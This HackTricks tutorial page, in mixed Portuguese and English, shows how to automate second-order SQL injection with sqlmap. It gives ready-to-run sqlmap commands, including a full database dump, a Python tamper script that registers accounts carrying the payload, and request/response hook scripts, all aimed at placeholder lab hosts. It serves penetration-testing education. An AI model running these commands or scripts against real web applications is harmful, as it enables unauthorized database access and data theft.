Second Order Injection with SQLMap
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
SQLMap can exploit Second Order SQLis.
Você precisa fornecer:
- A request onde o sqlinjection payload vai ser salvo
- A request onde o payload será executado
A request onde o SQL injection payload é salvo é indicada como em qualquer outra injection no sqlmap. A request onde o sqlmap pode ler a saída/execução da injection pode ser indicada com --second-url ou com --second-req se você precisar indicar uma request completa a partir de um arquivo.
Exemplo simples de second order:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
Em vários casos isso não será suficiente porque você precisará realizar outras ações além de enviar o payload e acessar uma página diferente.
Quando isso for necessário, você pode usar um sqlmap tamper. Por exemplo, o seguinte script registrará um novo usuário usando o sqlmap payload como email e fará logout.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
A SQLMap tamper é sempre executado antes de iniciar uma tentativa de injection com um payload e ele precisa retornar um payload. Neste caso, não nos importamos com o payload, mas nos importamos em enviar algumas requests, então o payload não é alterado.
Então, se por algum motivo precisarmos de um flow mais complexo para explorar a second order SQL injection como:
- Criar uma account com o payload de SQLi dentro do campo “email”
- Logout
- Login com essa account (login.txt)
- Enviar uma request para executar a SQL injection (second.txt)
Esta linha do sqlmap vai ajudar:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Switches úteis em fluxos reais de second-order
A automação de second-order geralmente falha porque a request de armazenamento do payload funciona, mas a request de execução é barulhenta, stateful ou protegida. Quando isso acontece, os seguintes flags geralmente são mais úteis do que adicionar mais payloads:
sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
--csrf-token,--csrf-url,--csrf-method: Úteis quando a requisição de store ou trigger precisa de um fresh anti-CSRF token a cada tentativa.--live-cookies: Recarrega cookies antes de cada request. Útil quando um browser/Burp macro está refreshing o session state em background.--safe-reqe--safe-freq: Mantêm o workflow vivo quando a aplicação faz logout ou invalida a session após algumas tentativas falhas.--string,--not-string,--regexp,--code,--text-only: Úteis quando a second-order response contém banners, ads, timestamps ou user-generated junk que torna o diffing instável.
When --tamper is not enough
tamper.py ainda é a maneira mais fácil de register a payload, fazer logout, fazer login novamente e trigger execution. However, em alvos modernos, muitas vezes é mais limpo mover parte da lógica para request/response hooks:
--preprocess: Modifica a full HTTP request antes de ela ser enviada. Útil quando um fluxo de second-order precisa de um nonce extra, de um parâmetro extra ou de normalização de header.--postprocess: Limpa a HTTP response antes de o sqlmap compará-la. Útil quando o second-order sink está encapsulado em dynamic HTML e apenas um pequeno fragmento é estável.
Example request/response hooks:
#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code
Important limitations
- Do not assume that
--second-reqwill replay the same payload inside a*placeholder in the second request. If the trigger request also needs the injected value (or a derived version of it), a customtamper,--preprocess, or a local proxy is usually required. - Do not rely on
--evalfor the second request. Official usage documents--evalfor the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead.
This pattern is especially useful when the payload is stored in places such as:
- Filenames or image metadata that are queried later
- Registration/profile fields later consumed by admin panels
- Sorting/filtering preferences saved server-side and replayed later
- Workflow state that is only executed after a preview, export, or moderation action
References
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


